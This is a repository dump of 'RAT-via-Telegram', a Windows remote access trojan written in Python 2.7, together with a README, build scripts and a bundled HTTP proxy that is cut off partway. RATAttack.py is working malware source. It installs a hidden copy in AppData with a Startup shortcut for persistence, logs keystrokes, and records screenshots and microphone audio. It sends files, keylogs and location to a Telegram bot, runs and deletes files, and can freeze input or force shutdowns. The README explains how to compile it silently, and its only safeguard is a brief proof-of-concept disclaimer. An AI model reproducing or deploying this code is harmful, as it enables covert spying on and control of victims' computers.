Repository: Dviros/RAT-via-Telegram
Branch: master
Commit: 14a8a16d34fb
Files: 9
Total size: 47.0 KB
Directory structure:
gitextract_ngogcj5m/
├── LICENSE
├── RATAttack.py
├── README.md
├── compileAndRun.bat
├── proxy.py
├── pyHook-1.5.1-cp27-cp27m-win32.whl
├── pyHook-1.5.1-cp27-cp27m-win_amd64.whl
├── requirements.txt
└── run.bat
================================================
FILE CONTENTS
================================================
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2017 Ritiek Malhotra
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: RATAttack.py
================================================
#Todo
#Split functions to classes
#Solve bugs
#Allow multi-keyboard capability
#Add new features from the Master fork
#Implement the new telepot MessageLoop() Class
from PIL import ImageGrab # /capture_pc
from shutil import copyfile, copyfileobj, rmtree # /ls, /pwd, /cd /copy
from sys import argv, path, stdout # console output
from json import loads # reading json from ipinfo.io
from winshell import startup # persistence
from tendo import singleton # this makes the application exit if there's another instance already running
from win32com.client import Dispatch # used for WScript.Shell
from time import strftime, sleep
import time
import threading # used for proxy
import proxy
import pyaudio, wave # /hear
import telepot, requests # telepot => telegram, requests => file download
from telepot.namedtuple import InlineKeyboardMarkup, InlineKeyboardButton
from telepot.loop import MessageLoop
import os, os.path, platform, ctypes
import pyHook, pythoncom #keylogger
import getpass
import socket
# global content_type, chat_type, chat_id
global content_type, chat_type, chat_id, response, command
def checkchat_id(chat_id):
return len(known_ids) == 0 or str(chat_id) in known_ids
def pressed_chars(event):
if event and type(event.Ascii) == int:
f = open(log_file, "a")
if len(event.GetKey()) > 1:
tofile = '<' + event.GetKey() + '>'
else:
tofile = event.GetKey()
if tofile == '<Return>':
print tofile
else:
stdout.write(tofile)
return not keyboardFrozen
def internalIP():
internal_ip = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
internal_ip.connect(('google.com', 0))
return internal_ip.getsockname()[0]
def user_input(bot, from_id, msg):
target = ''
bot.sendMessage(from_id, "What's the target?")
#target = msg['text']
target = checkchat_id(msg[0])
return target
def on_chat_message(msg):
# chat_id = msg['chat']['id']
content_type, chat_type, chat_id = telepot.glance(msg)
info_keyboard = InlineKeyboardMarkup(inline_keyboard=[
[InlineKeyboardButton(text='hear: [time in seconds, default=5s]', callback_data='hear')],
[InlineKeyboardButton(text='ip_info', callback_data='ip_info')],
[InlineKeyboardButton(text='keylogs', callback_data='keylogs')],
[InlineKeyboardButton(text='ls: [target_folder]', callback_data='ls')],
[InlineKeyboardButton(text='PC_info', callback_data='pc_info')],
[InlineKeyboardButton(text='PWD', callback_data='pwd')],
[InlineKeyboardButton(text='Tasklist: Returns the tasklist', callback_data='tasklist')],
[InlineKeyboardButton(text='Self_Destruct', callback_data='self_destruct')],
[InlineKeyboardButton(text='arp: Returns ARP Table', callback_data='arp')],
[InlineKeyboardButton(text='DNS_Cache: Returns the DNS cache', callback_data='dns')],
[InlineKeyboardButton(text='NSlookup: Returns the DNS table from the DNS server', callback_data='nslookup')]
])
exec_keyboard = InlineKeyboardMarkup(inline_keyboard=[
[InlineKeyboardButton(text='Capture_PC', callback_data='capture_pc')],
[InlineKeyboardButton(text='cd: <target_dir>', callback_data='cd')],
[InlineKeyboardButton(text='Delete: <target_file>', callback_data='delete')],
[InlineKeyboardButton(text='Download: <target_file>', callback_data='download')],
[InlineKeyboardButton(text='freeze_keyboard', callback_data='freeze_keyboard')],
[InlineKeyboardButton(text='unfreeze_keyboard', callback_data='unfreeze_keyboard')],
[InlineKeyboardButton(text='freeze_mouse', callback_data='freeze_mouse')],
[InlineKeyboardButton(text='unfreeze_mouse', callback_data='unfreeze_mouse')],
[InlineKeyboardButton(text='msg_box: <text>', callback_data='msg_box')],
[InlineKeyboardButton(text='Play: <youtube_videoId>', callback_data='play')],
[InlineKeyboardButton(text='Proxy', callback_data='proxy')],
[InlineKeyboardButton(text='run <target_file>', callback_data='run')],
[InlineKeyboardButton(text='Self_Destruct', callback_data='self_destruct')],
[InlineKeyboardButton(text='Upload', callback_data='upload')],
[InlineKeyboardButton(text='Ping: Ping a target', callback_data='ping')]
])
bot_keyboard = InlineKeyboardMarkup(inline_keyboard=[
[InlineKeyboardButton(text='Self_Destruct', callback_data='self_destruct')],
[InlineKeyboardButton(text='Reboot the bot', callback_data='reboot_bot')],
[InlineKeyboardButton(text='Reboot the computer', callback_data='reboot_pc')],
[InlineKeyboardButton(text='Shutdown the computer', callback_data='shutdown_pc')],
])
bot.sendMessage(chat_id, 'Information Gathering Commands:', reply_markup=info_keyboard)
bot.sendMessage(chat_id, 'Executable Commands:', reply_markup=exec_keyboard)
bot.sendMessage(chat_id, 'Management Commands:', reply_markup=bot_keyboard)
if checkchat_id(chat_id):
if 'text' in msg:
print 'Got message from ' + str(chat_id) + ': ' + msg['text']
def on_callback_query(msg):
command = ''
file_name = ''
response = ''
target = ''
query_id, from_id, query_data = telepot.glance(msg, flavor='callback_query')
print('Callback Query:', query_id, from_id, query_data)
if query_data == 'capture_pc':
bot.sendChatAction(from_id, 'typing')
screenshot = ImageGrab.grab()
screenshot.save('screenshot.jpg')
bot.sendChatAction(from_id, 'upload_photo')
bot.sendDocument(from_id, open('screenshot.jpg', 'rb'))
os.remove('screenshot.jpg')
elif query_data == 'arp':
bot.sendChatAction(from_id, 'typing')
lines = os.popen('arp -a -N ' + internalIP())
for line in lines:
line.replace('\n\n', '\n')
response += line
bot.sendMessage(from_id, response)
elif query_data == 'dns':
bot.sendChatAction(from_id, 'typing')
lines = os.popen('ipconfig /displaydns')
for line in lines:
line.replace('\n\n', '\n')
if len(line) > 2000:
response2 += line
else:
response += line
bot.sendMessage(from_id, response)
bot.sendMessage(from_id, response2)
#Too long, can't be sent - needs to be splited
elif query_data == 'nslookup':
bot.sendChatAction(from_id, 'typing')
lines = os.popen('nslookup -ls -d *')
for line in lines:
line.replace('\n\n', '\n')
response += line
bot.sendMessage(from_id, response)
elif query_data == 'ping':
bot.sendChatAction(from_id, 'typing')
target = user_input(bot, from_id, msg)
print target
#
# bot.sendMessage(from_id, "What's the target?")
# bot.answerCallbackQuery()
# target = query_data
#
lines = os.popen('ping '+ target)
for line in lines:
line.replace('\n\n', '\n')
response += line
bot.sendMessage(from_id, response)
elif query_data == 'delete':
command = command.replace('/delete', '')
path_file = command.strip()
try:
os.remove(path_file)
response = 'Succesfully removed file'
bot.sendMessage(from_id, response)
except:
try:
os.rmdir(path_file)
response = 'Succesfully removed folder'
bot.sendMessage(from_id, response)
except:
try:
shutil.rmtree(path_file)
response = 'Succesfully removed folder and it\'s files'
bot.sendMessage(from_id, response)
except:
response = 'File not found'
bot.sendMessage(from_id, response)
elif query_data == 'download':
bot.sendChatAction(from_id, 'typing')
path_file = command.replace('/download', '')
path_file = path_file[1:]
if path_file == '':
response = 'Please type the full path to download, for example, "c:\windows\system32\hal.dll"'
bot.sendMessage(from_id, response)
while path_file == '':
query_data = path_file
bot.message
else:
bot.sendChatAction(from_id, 'upload_document')
try:
bot.sendDocument(from_id, open(path_file, 'rb'))
except:
try:
bot.sendDocument(from_id, open(hide_folder + '\\' + path_file))
response = 'Found in hide_folder: ' + hide_folder
bot.sendMessage(from_id, response)
except:
response = 'Could not find ' + path_file
bot.sendMessage(from_id, response)
#response = '/download C:/path/to/file.name or /download file.name'
#bot.sendMessage(from_id, response)
else:
bot.sendChatAction(from_id, 'upload_document')
try:
bot.sendDocument(from_id, open(path_file, 'rb'))
except:
try:
bot.sendDocument(from_id, open(hide_folder + '\\' + path_file))
response = 'Found in hide_folder: ' + hide_folder
bot.sendMessage(from_id, response)
except:
response = 'Could not find ' + path_file
bot.sendMessage(from_id, response)
elif query_data == 'freeze_keyboard':
global keyboardFrozen
keyboardFrozen = not command.startswith('un')
hookManager.KeyAll = lambda event: not keyboardFrozen
response = 'Keyboard is now '
if keyboardFrozen:
response += 'disabled. To enable, use unfreeze_keyboard'
bot.sendMessage(from_id, response)
else:
response += 'enabled'
bot.sendMessage(from_id, response)
elif query_data == 'unfreeze_keyboard':
hookManager.KeyAll = lambda event: keyboardFrozen
response = 'Keyboard is now enabled'
bot.sendMessage(from_id, response)
elif query_data == 'freeze_mouse':
global mouseFrozen
mouseFrozen = not command.startswith('/un')
hookManager.MouseAll = lambda event: not mouseFrozen
hookManager.HookMouse()
response = 'Mouse is now '
if mouseFrozen:
response += 'disabled. To enable, use unfreeze_mouse'
bot.sendMessage(from_id, response)
else:
response += 'enabled'
bot.sendMessage(from_id, response)
elif query_data == 'unfreeze_mouse':
hookManager.MouseAll = lambda event: mouseFrozen
response = 'Mouse is now unfreeze'
bot.sendMessage(from_id, response)
elif query_data == 'hear':
SECONDS = -1
try:
SECONDS = int(command.replace('/hear', '').strip())
except:
SECONDS = 5
CHANNELS = 2
CHUNK = 1024
FORMAT = pyaudio.paInt16
RATE = 44100
audio = pyaudio.PyAudio()
bot.sendChatAction(from_id, 'typing')
stream = audio.open(format=FORMAT, channels=CHANNELS,
rate=RATE, input=True,
frames_per_buffer=CHUNK)
frames = []
for i in range(0, int(RATE / CHUNK * SECONDS)):
data = stream.read(CHUNK)
frames.append(data)
stream.stop_stream()
stream.close()
audio.terminate()
wav_path = hide_folder + '\\mouthlogs.wav'
waveFile = wave.open(wav_path, 'wb')
waveFile.setnchannels(CHANNELS)
waveFile.setsampwidth(audio.get_sample_size(FORMAT))
waveFile.setframerate(RATE)
waveFile.writeframes(b''.join(frames))
waveFile.close()
bot.sendChatAction(from_id, 'upload_document')
bot.sendAudio(from_id, audio=open(wav_path, 'rb'))
elif query_data == 'ip_info':
bot.sendChatAction(from_id, 'find_location')
info = requests.get('http://ipinfo.io').text # json format
response = 'External IP: ' + info.replace('{', '').replace('}', '').replace(' "', '').replace('"',
'') + '\n' + 'Internal IP: ' + '\n' + internalIP()
bot.sendMessage(from_id, response)
location = (loads(info)['loc']).split(',')
bot.sendLocation(from_id, location[0], location[1])
elif query_data == 'keylogs':
bot.sendChatAction(from_id, 'upload_document')
bot.sendDocument(from_id, open(log_file, "rb"))
elif query_data == 'ls':
bot.sendChatAction(from_id, 'typing')
command = command.replace('/ls', '')
command = command.strip()
files = []
if len(command) > 0:
files = os.listdir(command)
else:
files = os.listdir(os.getcwd())
human_readable = ''
for file in files:
human_readable += file + '\n'
response = human_readable
bot.sendMessage(from_id, response)
elif query_data == 'msg_box':
message = command.replace('/msg_box', '')
if message == '':
response = '/msg_box yourText'
bot.sendMessage(from_id, response)
else:
ctypes.windll.user32.MessageBoxW(0, message, u'Information', 0x40)
response = 'MsgBox displayed'
bot.sendMessage(from_id, response)
elif query_data == 'pc_info':
bot.sendChatAction(from_id, 'typing')
info = ''
for pc_info in platform.uname():
info += '\n' + pc_info
response = info + '\n' + 'Username: ' + getpass.getuser()
bot.sendMessage(from_id, response)
elif query_data == 'play':
command = command.replace('/play ', '')
command = command.strip()
if len(command) > 0:
systemCommand = 'start \"\" \"https://www.youtube.com/embed/'
systemCommand += command
systemCommand += '?autoplay=1&showinfo=0&controls=0\"'
if os.system(systemCommand) == 0:
response = 'YouTube video is now playing'
bot.sendMessage(from_id, response)
else:
response = 'Failed playing YouTube video'
bot.sendMessage(from_id, response)
else:
response = '/play <VIDEOID>\n/play A5ZqNOJbamU'
bot.sendMessage(from_id, response)
elif query_data == 'proxy':
threading.Thread(target=proxy.main).start()
info = requests.get('http://ipinfo.io').text # json format
ip = (loads(info)['ip'])
response = 'Proxy succesfully setup on ' + ip + ':8081'
bot.sendMessage(from_id, response)
elif query_data == 'pwd':
response = os.getcwd()
bot.sendMessage(from_id, response)
elif query_data == 'tasklist':
response2 = ''
lines = os.popen('tasklist /FI "STATUS eq RUNNING"')
for line in lines:
line.replace('\n\n', '\n')
if len(line)>2000:
response2 +=line
else:
response += line
print len(response)
bot.sendMessage(from_id, response)
bot.sendMessage(from_id, response2)
elif query_data == 'run':
bot.sendChatAction(from_id, 'typing')
path_file = command.replace('/run', '')
path_file = path_file[1:]
if path_file == '':
response = '/run_file C:/path/to/file'
bot.sendMessage(from_id, response)
else:
try:
os.startfile(path_file)
response = 'File ' + path_file + ' has been run'
bot.sendMessage(from_id, response)
except:
try:
os.startfile(hide_folder + '\\' + path_file)
response = 'File ' + path_file + ' has been run from hide_folder'
bot.sendMessage(from_id, response)
except:
response = 'File not found'
bot.sendMessage(from_id, response)
elif query_data == 'self_destruct':
bot.sendChatAction(from_id, 'typing')
response = 'Destroying all traces!'
bot.sendMessage(from_id, response)
if os.path.exists(hide_folder):
for file in os.listdir(hide_folder):
try:
os.remove(hide_folder + '\\' + file)
except:
pass
if os.path.isfile(target_shortcut):
os.remove(target_shortcut)
while True:
sleep(10)
elif query_data == 'to':
command = command.replace('/to', '')
if command == '':
response = '/to <COMPUTER_1_NAME>, <COMPUTER_2_NAME> /msg_box Hello HOME-PC and WORK-PC'
bot.sendMessage(from_id, response)
else:
targets = command[:command.index('/')]
if platform.uname()[1] in targets:
command = command.replace(targets, '')
msg = {'text': command, 'chat': {'id': chat_id}}
handle(msg)
elif query_data == 'reboot':
bot.sendChatAction(from_id, 'typing')
response = 'Rebooting, please wait'
bot.sendMessage(from_id, response)
elif query_data == 'cd':
command = command.replace('/cd ', '')
try:
os.chdir(command)
response = os.getcwd() + '>'
bot.sendMessage(from_id, response)
except:
response = 'No subfolder matching ' + command
bot.sendMessage(from_id, response)
elif query_data == 'reboot_pc':
bot.sendChatAction(from_id, 'typing')
command = os.popen('shutdown /r /f /t 0')
response = 'Computer will be restarted NOW.'
bot.sendMessage(from_id, response)
elif query_data == 'shutdown_pc':
bot.sendChatAction(from_id, 'typing')
command = os.popen('shutdown /s /f /t 0')
response = 'Computer will be shutdown NOW.'
bot.sendMessage(from_id, response)
elif query_data == 'upload': # Upload a file to target
file_id = None
if 'document' in msg:
file_name = msg['document']['file_name']
file_id = msg['document']['file_id']
elif 'photo' in msg:
file_time = int(time.time())
file_id = msg['photo'][1]['file_id']
file_name = file_id + '.jpg'
file_path = bot.getFile(file_id=file_id)['file_path']
link = 'https://api.telegram.org/file/bot' + str(token) + '/' + file_path
file = (requests.get(link, stream=True)).raw
with open(hide_folder + '\\' + file_name, 'wb') as out_file:
copyfileobj(file, out_file)
response = 'File received succesfully.'
bot.sendMessage(from_id, response)
bot.answerCallbackQuery(query_id, text='DONE SON!')
me = singleton.SingleInstance()
# HIDING OPTIONS
# ---------------------------------------------
appdata_roaming_folder = 'APPDATA' # = 'C:\Users\Username\AppData\Roaming'
hide_folder = appdata_roaming_folder + r'\Portal' # = 'C:\Users\Username\AppData\Roaming\Portal'
compiled_name = 'portal.exe' # Name of compiled .exe to hide in hide_folder, i.e 'C:\Users\Username\AppData\Roaming\Portal\portal.exe'
# ---------------------------------------------
target_shortcut = startup() + '\\' + compiled_name.replace('.exe', '.lnk')
if not os.path.exists(hide_folder):
os.makedirs(hide_folder)
hide_compiled = hide_folder + '\\' + compiled_name
copyfile(argv[0], hide_compiled)
shell = Dispatch('WScript.Shell')
shortcut = shell.CreateShortCut(target_shortcut)
shortcut.Targetpath = hide_compiled
shortcut.WorkingDirectory = hide_folder
shortcut.save()
initi = False
keyboardFrozen = False
mouseFrozen = False
user = os.environ.get("USERNAME") # Windows username to append keylogs.txt
log_file = hide_folder + '\\keylogs.txt'
hookManager = pyHook.HookManager()
# functionalities dictionary: command:arguments
with open(log_file, "a") as writing:
writing.write("-------------------------------------------------\n")
writing.write(user + " Log: " + strftime("%b %d@%H:%M") + "\n\n")
# REPLACE THE LINE BELOW WITH THE TOKEN OF THE BOT YOU GENERATED!
#token = os.environ['11111111:111111111111111111111111111111111'] # you can set your environment variable as well
token = '11111111:111111111111111111111111111111111'
# ADD YOUR chat_id TO THE LIST BELOW IF YOU WANT YOUR BOT TO ONLY RESPOND TO ONE PERSON!
# known_ids = ''
# known_ids = []
# known_ids.append(os.environ['TELE# GRAM_CHAT_ID']) # make sure to remove this line if you don't have this environment variable
# known_ids.append(os.environ['TELEGRAM_CHAT_ID']) # make sure to remove this line if you don't have this environment variable
#appdata_roaming_folder = os.environ['APPDATA'] # = 'C:\Users\Username\AppData\Roaming'
known_ids = '111111111'
bot = telepot.Bot(token)
MessageLoop(bot, {'chat': on_chat_message,
'callback_query': on_callback_query}).run_as_thread()
#bot.message_loop({'chat': on_chat_message,
# 'callback_query': on_callback_query})
if len(known_ids) > 0:
helloWorld = platform.uname()[1] + ": I'm up. Type anything to get the keyboard layout."
print helloWorld
# for known_id in known_ids:
bot.sendMessage(known_ids, helloWorld)
print 'Listening for commands on ' + platform.uname()[1] + '...'
hookManager.KeyDown = pressed_chars
hookManager.HookKeyboard()
pythoncom.PumpMessages()
================================================
FILE: README.md
================================================
# RAT-via-Telegram
## Dviros's notes:
Windows Remote Post Breach Tool via Telegram (Python 2.7),
Originally created by <a href="http://github.com/Ritiek">Ritiek</a>, Forked and modified by <a href="http://github.com/mvrozanti">mvrozanti</a> and then myself.
The whole purpose of this tool is to demonstrate (as a "PoC") the control of an already breached machine, via Telegram.
As the same with my already written tools, I do not promote illegal activities.
This modified version uses Telegram bot API v2, instead of the traditional v1. The main change is keyboard buttons instead of text typing.
I will try to add new features, close bugs and be compatible to the API v3, after adding the needed changes from "mvrozanti".
In the meanwhile, cd, download, upload, run and delete commands will not work.
## Donations will be highly appreciated

### Currently Working Features:
- Run keylogger on the target
- Get target PC's Windows version, processor and more
- Get target PC's IP address information and approximate location on map
- [WIP] Delete files or folder on target
- Show current directory on target
- [WIP] Change current directory on target
- List current or specified directory on target
- [WIP] Download any file from the target
- Upload local files to the target. Send your image, pdf, exe or anything as `file` to the Telegram bot
- Autostart playing a video in fullscreen and no controls for a youtube video on target
- Screenshots of the target
- [WIP] Execute any file on the target
- Access to microphone on target
- Start HTTP Proxy Server
- Freeze target's keyboard
- Return the target's ARP table
- [WIP] Schedule tasks to run at specified time
- [WIP] Freeze target's mouse
- Get active processes and services
- [WIP] Capture clipboard (Text, Image)
- [WIP] Disable/Enable mouse/keyboard
- [WIP] Hide desktop icons
- [WIP] Update .exe on target
- [WIP] Shutdown \ Reboot computer
- [WIP] Self-Destruct RAT on the target
- [WIP] Take snapshots from the webcam (if attached)
- [WIP] Copy and Move files on the target
- [WIP] Audio compression
- More coming soon!
## Ritiek's legacy notes:
### Why another one?
- The current Remote Administration Tools in the market face 2 major problems:
- Lack of encryption.
- Require port forwarding in order to control from hundreds of miles.
- This RAT overcomes both these issues by using the Telegram bot API.
- Fully encrypted. The data being exchanged cannot be spied upon using MITM tools.
- Telegram messenger app provides a simple way to communicate to the target without configuring port forward before hand on the target.
## Screenshots:
<img src="http://i.imgur.com/I5nzrbz.jpg">
## Installation & Usage:
- Clone this repository.
- Set up a new Telegram bot talking to the `BotFather`.
- Copy this token and replace it in the beginning of the script.
- Install the dependencies: `pip install -r requirements.txt`.
- Install pyHook `64-bit` or `32-bit` depending on your system.
- For 64-bit- `pip install pyHook-1.5.1-cp27-cp27m-win_amd64.whl`.
- For 32-bit- `pip install pyHook-1.5.1-cp27-cp27m-win32.whl`.
- To run the script: `python RATAttack.py`.
- Find your bot on telegram and send some command to the bot to test it.
- To restrict the bot so that it responds only to you, note down your `chat_id` from the console and replace it in the script and comment out the line `return True`. Don't worry, you'll know when you read the comments in the script.
<img src="http://i.imgur.com/XKARtrp.png">
- A folder named `RATAttack` will be created in your working directory containing `keylogs.txt` and any files you upload to the bot.
## Compiling:
### How To Compile:
#### Either:
Replace your path in compileAndRun.bat (running this will actually run the executable)
#### Or:
Run `pyinstaller --onefile --noconsole C:\path\to\RATAttack.py`. You can also pass `--icon=<path\to\icon.ico>` to use any custom icon.
- Once it is compiled successfully, find the `.exe` file in `C:\Python27\Scripts\dist\`. You can change the name of the `.exe` to anything you wish.
- **BEWARE!** If you run the compiled `.exe`, the script will hide itself and infect your PC to run at startup. You can return to normal by using the `/self_destruct` option or manually removing `C:\Users\Username\AppData\Roaming\Portal` directory and `C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\portal.lnk` (although I recommend removing them manually for the time being).
### Modifying Settings:
- You can also modify the name of hidden `.exe` file and location & name of the folder where the hidden `.exe` will hide itself. To do this; modify `compiled_name` and `hide_folder` respectively.
- Assign your known chat ids to beginning of RATAttack.py
## License:
`The MIT License`
================================================
FILE: compileAndRun.bat
================================================
rem --specpath "D:\Google Drive\Programming\Python\RAT-via-Telegram\" --distpath "D:\Google Drive\Programming\Python\RAT-via-Telegram\dist" --workpath "D:\Google Drive\Programming\Python\RAT-via-Telegram\build"
pyinstaller --clean --upx-dir "upx393w" --onefile "D:\Google Drive\Programming\Python\RAT-via-Telegram\RATAttack.py"
"D:\Google Drive\Programming\Python\RAT-via-Telegram\dist\RATAttack.exe"
================================================
FILE: proxy.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
proxy.py
~~~~~~~~
HTTP Proxy Server in Python.
:copyright: (c) 2013 by Abhinav Singh.
:license: BSD, see LICENSE for more details.
"""
VERSION = (0, 2)
__version__ = '.'.join(map(str, VERSION[0:2]))
__description__ = 'HTTP Proxy Server in Python'
__author__ = 'Abhinav Singh'
__author_email__ = 'mailsforabhinav@gmail.com'
__homepage__ = 'https://github.com/abhinavsingh/proxy.py'
__license__ = 'BSD'
import sys
import threading
import datetime
import argparse
import logging
import socket
import select
logger = logging.getLogger(__name__)
# True if we are running on Python 3.
PY3 = sys.version_info[0] == 3
if PY3:
text_type = str
binary_type = bytes
from urllib import parse as urlparse
else:
text_type = unicode
binary_type = str
import urlparse
def text_(s, encoding='utf-8', errors='strict'):
""" If ``s`` is an instance of ``binary_type``, return
``s.decode(encoding, errors)``, otherwise return ``s``"""
if isinstance(s, binary_type):
return s.decode(encoding, errors)
return s # pragma: no cover
def bytes_(s, encoding='utf-8', errors='strict'):
""" If ``s`` is an instance of ``text_type``, return
``s.encode(encoding, errors)``, otherwise return ``s``"""
if isinstance(s, text_type): # pragma: no cover
return s.encode(encoding, errors)
return s
version = bytes_(__version__)
CRLF, COLON, SP = b'\r\n', b':', b' '
HTTP_REQUEST_PARSER = 1
HTTP_RESPONSE_PARSER = 2
HTTP_PARSER_STATE_INITIALIZED = 1
HTTP_PARSER_STATE_LINE_RCVD = 2
HTTP_PARSER_STATE_RCVING_HEADERS = 3
HTTP_PARSER_STATE_HEADERS_COMPLETE = 4
HTTP_PARSER_STATE_RCVING_BODY = 5
HTTP_PARSER_STATE_COMPLETE = 6
CHUNK_PARSER_STATE_WAITING_FOR_SIZE = 1
CHUNK_PARSER_STATE_WAITING_FOR_DATA = 2
CHUNK_PARSER_STATE_COMPLETE = 3
class ChunkParser(object):
"""HTTP chunked encoding response parser."""
def __init__(self):
self.state = CHUNK_PARSER_STATE_WAITING_FOR_SIZE
self.body = b''
self.chunk = b''
self.size = None
def parse(self, data):
more = True if len(data) > 0 else False
while more: more, data = self.process(data)
def process(self, data):
if self.state == CHUNK_PARSER_STATE_WAITING_FOR_SIZE:
line, data = HttpParser.split(data)
self.size = int(line, 16)
self.state = CHUNK_PARSER_STATE_WAITING_FOR_DATA
elif self.state == CHUNK_PARSER_STATE_WAITING_FOR_DATA:
remaining = self.size - len(self.chunk)
self.chunk += data[:remaining]
data = data[remaining:]
if len(self.chunk) == self.size:
data = data[len(CRLF):]
self.body += self.chunk
if self.size == 0:
self.state = CHUNK_PARSER_STATE_COMPLETE
else:
self.state = CHUNK_PARSER_STATE_WAITING_FOR_SIZE
self.chunk = b''
self.size = None
return len(data) > 0, data
class HttpParser(object):
"""HTTP request/response parser."""
def __init__(self, type=None):
self.state = HTTP_PARSER_STATE_INITIALIZED
self.type = type if type else HTTP_REQUEST_PARSER
self.raw = b''
self.buffer = b''
self.headers = dict()
self.body = None
self.method = None
self.url = None
self.code = None
self.reason = None
self.version = None
self.chunker = None
def parse(self, data):
self.raw += data
data = self.buffer + data
self.buffer = b''
more = True if len(data) > 0 else False
while more:
more, data = self.process(data)
self.buffer = data
def process(self, data):
if self.state >= HTTP_PARSER_STATE_HEADERS_COMPLETE and \
(self.method == b"POST" or self.type == HTTP_RESPONSE_PARSER):
if not self.body:
self.body = b''
if b'content-length' in self.headers:
self.state = HTTP_PARSER_STATE_RCVING_BODY
self.body += data
if len(self.body) >= int(self.headers[b'content-length'][1]):
self.state = HTTP_PARSER_STATE_COMPLETE
elif b'transfer-encoding' in self.headers and self.headers[b'transfer-encoding'][1].lower() == b'chunked':
if not self.chunker:
self.chunker = ChunkParser()
self.chunker.parse(data)
if self.chunker.state == CHUNK_PARSER_STATE_COMPLETE:
self.body = self.chunker.body
self.state = HTTP_PARSER_STATE_COMPLETE
return False, b''
line, data = HttpParser.split(data)
if line == False: return line, data
if self.state < HTTP_PARSER_STATE_LINE_RCVD:
self.process_line(line)
elif self.state < HTTP_PARSER_STATE_HEADERS_COMPLETE:
self.process_header(line)
if self.state == HTTP_PARSER_STATE_HEADERS_COMPLETE and \
self.type == HTTP_REQUEST_PARSER and \
not self.method == b"POST" and \
self.raw.endswith(CRLF*2):
self.state = HTTP_PARSER_STATE_COMPLETE
return len(data) > 0, data
def process_line(self, data):
line = data.split(SP)
if self.type == HTTP_REQUEST_PARSER:
self.method = line[0].upper()
self.url = urlparse.urlsplit(line[1])
self.version = line[2]
else:
self.version = line[0]
self.code = line[1]
self.reason = b' '.join(line[2:])
self.state = HTTP_PARSER_STATE_LINE_RCVD
def process_header(self, data):
if len(data) == 0:
if self.state == HTTP_PARSER_STATE_RCVING_HEADERS:
self.state = HTTP_PARSER_STATE_HEADERS_COMPLETE
elif self.state == HTTP_PARSER_STATE_LINE_RCVD:
self.state = HTTP_PARSER_STATE_RCVING_HEADERS
else:
self.state = HTTP_PARSER_STATE_RCVING_HEADERS
parts = data.split(COLON)
key = parts[0].strip()
value = COLON.join(parts[1:]).strip()
self.headers[key.lower()] = (key, value)
def build_url(self):
if not self.url:
return b'/None'
url = self.url.path
if url == b'': url = b'/'
if not self.url.query == b'': url += b'?' + self.url.query
if not self.url.fragment == b'': url += b'#' + self.url.fragment
return url
def build_header(self, k, v):
return k + b": " + v + CRLF
def build(self, del_headers=None, add_headers=None):
req = b" ".join([self.method, self.build_url(), self.version])
req += CRLF
if not del_headers: del_headers = []
for k in self.headers:
if not k in del_headers:
req += self.build_header(self.headers[k][0], self.headers[k][1])
if not add_headers: add_headers = []
for k in add_headers:
req += self.build_header(k[0], k[1])
req += CRLF
if self.body:
req += self.body
return req
@staticmethod
def split(data):
pos = data.find(CRLF)
if pos == -1: return False, data
line = data[:pos]
data = data[pos+len(CRLF):]
return line, data
class Connection(object):
"""TCP server/client connection abstraction."""
def __init__(self, what):
self.buffer = b''
self.closed = False
self.what = what # server or client
def send(self, data):
return self.conn.send(data)
def recv(self, bytes=8192):
try:
data = self.conn.recv(bytes)
if len(data) == 0:
logger.debug('recvd 0 bytes from %s' % self.what)
return None
logger.debug('rcvd %d bytes from %s' % (len(data), self.what))
return data
except Exception as e:
logger.exception('Exception while receiving from connection %s %r with reason %r' % (self.what, self.conn, e))
return None
def close(self):
self.conn.close()
self.closed = True
def buffer_size(self):
return len(self.buffer)
def has_buffer(self):
return self.buffer_size() > 0
def queue(self, data):
self.buffer += data
def flush(self):
sent = self.send(self.buffer)
self.buffer = self.buffer[sent:]
logger.debug('flushed %d bytes to %s' % (sent, self.what))
class Server(Connection):
"""Establish connection to destination server."""
def __init__(self, host, port):
super(Server, self).__init__(b'server')
self.addr = (host, int(port))
def connect(self):
self.conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.conn.connect((self.addr[0], self.addr[1]))
class Client(Connection):
"""Accepted client connection."""
def __init__(self, conn, addr):
super(Client, self).__init__(b'client')
self.conn = conn
self.addr = addr
class ProxyError(Exception):
pass
class ProxyConnectionFailed(ProxyError):
def __init__(self, host, port, reason):
self.host = host
self.port = port
self.reason = reason
def __str__(self):
return '<ProxyConnectionFailed - %s:%s - %s>' % (self.host, self.port, self.reason)
class Proxy(threading.Thread):
"""HTTP proxy implementation.
Accepts connection object and act as a proxy between client and server.
"""
def __init__(self, client):
super(Proxy, self).__init__()
self.start_time = self._now()
self.last_activity = self.start_time
self.client = client
self.server = None
self.request = HttpParser()
self.response = HttpParser(HTTP_RESPONSE_PARSER)
self.connection_established_pkt = CRLF.join([
b'HTTP/1.1 200 Connection established',
b'Proxy-agent: proxy.py v' + version,
CRLF
])
def _now(self):
return datetime.datetime.utcnow()
def _inactive_for(self):
return (self._now() - self.last_activity).seconds
def _is_inactive(self):
return self._inactive_for() > 30
def _process_request(self, data):
# once we have connection to the server
# we don't parse the http request packets
# any further, instead just pipe incoming
# data from client to server
if self.server and not self.server.closed:
self.server.queue(data)
return
# parse http request
self.request.parse(data)
# once http request parser has reached the state complete
# we attempt to establish connection to destination server
if self.request.state == HTTP_PARSER_STATE_COMPLETE:
